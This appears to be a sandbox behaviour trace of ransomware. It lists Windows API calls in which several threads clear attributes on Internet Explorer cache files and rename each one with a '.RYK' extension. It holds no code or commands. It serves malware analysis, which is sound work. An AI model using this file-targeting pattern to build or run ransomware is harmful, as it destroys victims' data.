	[0284.060] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.060] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.060] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3759
	os_tid = 0x3fa0

	[0284.062] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png", dwFileAttributes=0x80) returned 0
	[0284.062] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.062] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.062] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3760
	os_tid = 0x3fa4

	[0284.063] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png", dwFileAttributes=0x80) returned 0
	[0284.063] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.063] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3761
	os_tid = 0x3fa8

	[0284.065] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png", dwFileAttributes=0x80) returned 0
	[0284.065] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.065] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3762
	os_tid = 0x3fac

	[0284.239] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png", dwFileAttributes=0x80) returned 0
	[0284.239] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.239] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.239] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3777
	os_tid = 0x3fec

	[0284.240] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png", dwFileAttributes=0x80) returned 0
	[0284.240] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.240] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.240] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3778
	os_tid = 0x3ff0

	[0284.242] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png", dwFileAttributes=0x80) returned 0
	[0284.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.242] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.242] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3779
	os_tid = 0x3ff4

	[0284.243] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png", dwFileAttributes=0x80) returned 0
	[0284.243] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.243] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.243] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3780
	os_tid = 0x3ff8

	[0284.244] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm", dwFileAttributes=0x80) returned 0
	[0284.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.245] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3781
	os_tid = 0x3ffc

	[0284.246] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js", dwFileAttributes=0x80) returned 0
	[0284.246] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.246] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3782
	os_tid = 0x3b8c

	[0284.248] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[1]", dwFileAttributes=0x80) returned 0
	[0284.248] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.248] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.248] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[1].ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3783
	os_tid = 0x1618

	[0284.249] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[2]", dwFileAttributes=0x80) returned 0
	[0284.249] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[2]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[2]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.249] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.249] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[2]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[2]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[2].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[2].ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3784
	os_tid = 0x3c8

	[0284.250] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[3]", dwFileAttributes=0x80) returned 0
	[0284.251] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[3]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[3]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.251] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[3]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[3]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[3].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[3].ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3785
	os_tid = 0x3b58

